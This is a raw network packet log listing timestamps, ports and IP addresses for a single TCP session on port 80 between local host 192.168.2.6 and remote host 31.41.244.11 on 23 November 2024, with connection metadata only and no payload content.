Nov 23, 2024 13:28:11.523072958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.524840117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.524899960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.524909973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.525068045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.525846004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.525908947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.525963068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.526072025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.526881933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.526971102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.526997089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.527019024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.527939081 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.528016090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.528076887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.528124094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.528996944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.529071093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.529129982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.529179096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.530014038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.530075073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.530152082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.530210018 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.531025887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.531106949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.531158924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.531215906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.532088995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.532162905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.532320976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.532484055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.533116102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.533181906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.533193111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.533242941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.534147024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.534205914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.534306049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.534352064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.535193920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.535243034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.535347939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.535403013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.536256075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.536328077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.536331892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.536381006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.537256956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.537308931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.537364960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.537417889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.538314104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.538352013 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.538362026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.538388968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.539403915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.539449930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.539453983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.539522886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.540376902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.540455103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.540472984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.540518999 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.541433096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.541548014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.541567087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.541608095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.542550087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.542624950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.542643070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.542814970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.543462038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.543510914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.543577909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.543622017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.544507980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.544606924 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.544639111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.544709921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.545536995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.545578957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.545622110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.545684099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.546605110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.546653986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.546696901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.546741962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.547692060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.547746897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.547782898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.547868013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.548707008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.548764944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.548832893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.549710035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.549763918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.549771070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.549853086 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.550792933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.550846100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.550936937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.551007986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.551795959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.551882029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.551892042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.551937103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.552848101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.552923918 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.552934885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.552992105 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.553831100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.553941011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.673662901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.673755884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.673774958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.673806906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.674150944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.674207926 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.674249887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.674249887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.675107956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.675157070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.675216913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.675311089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.676150084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.676198959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.676240921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.676299095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.677069902 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.677139044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.677181005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.677231073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.678056955 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.678127050 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.678165913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.678215027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.679038048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.679153919 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.679166079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.679228067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.680013895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.680063009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.680111885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.680166960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.681065083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.681122065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.681127071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.681169987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.681983948 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.682100058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.682146072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.682207108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.682984114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.683037996 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.683083057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.683140039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.683988094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.684057951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.684086084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.684145927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.684989929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.685034037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.685061932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.685132980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.685934067 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.685986042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.686036110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.686091900 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.686939955 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.687046051 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.687064886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.687129021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.688033104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.688086987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.688126087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.688185930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.688971043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.689027071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.689062119 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.689124107 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.689855099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.689908981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.689960957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.690021038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.690845013 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.690896988 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.690984964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.691036940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.691796064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.691869974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.691916943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.691968918 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.692785025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.692852974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.692905903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.692972898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.693819046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.693876028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.693902969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.693949938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.694802046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.694899082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.694925070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.694941044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.695775032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.695822954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.695914984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.695977926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.696825981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.696901083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.696902990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.696970940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.697969913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.698025942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.698071957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.698206902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.698838949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.698909044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.698982954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.699043036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.699863911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.699923992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.700025082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.700076103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.700712919 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.700753927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.700793982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.700867891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.701706886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.701755047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.701778889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.701858044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.702630043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.702691078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.702739000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.702800989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.703654051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.703706980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.703746080 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.703824997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.704619884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.704663992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.704715967 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.704790115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.705596924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.705713987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.705768108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.706561089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.706609011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.706660032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.706713915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.707568884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.707628012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.707638025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.707731962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.708563089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.708617926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.708645105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.708689928 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.709554911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.709609032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.709640026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.709691048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.710520029 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.710578918 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.710614920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.710771084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.711484909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.711533070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.711596966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.711656094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.712469101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.712529898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.712599039 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.712656021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.713448048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.713511944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.713551998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.713606119 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.714462996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.714519024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.714649916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.714708090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.715451956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.715516090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.715557098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.715612888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.716434002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.716489077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.716547012 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.716598034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.717427969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.717478991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.717550039 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.717605114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.718375921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.718502045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.718511105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.718588114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.719396114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.719455004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.719490051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.719537973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.720344067 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.720417976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.720458031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.720506907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.721328974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.721386909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.721416950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.721493959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.722454071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.722508907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.722527027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.722547054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.723462105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.723526001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.723556042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.723608971 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.724373102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.724421978 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.724554062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.724605083 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.725231886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.725291967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.874862909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.874933958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.874984980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.875161886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.875168085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.875257969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.875299931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.875365019 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.876156092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.876259089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.876435995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.877108097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.877207041 CET	49729	80	192.168.2.6	31.41.244.11
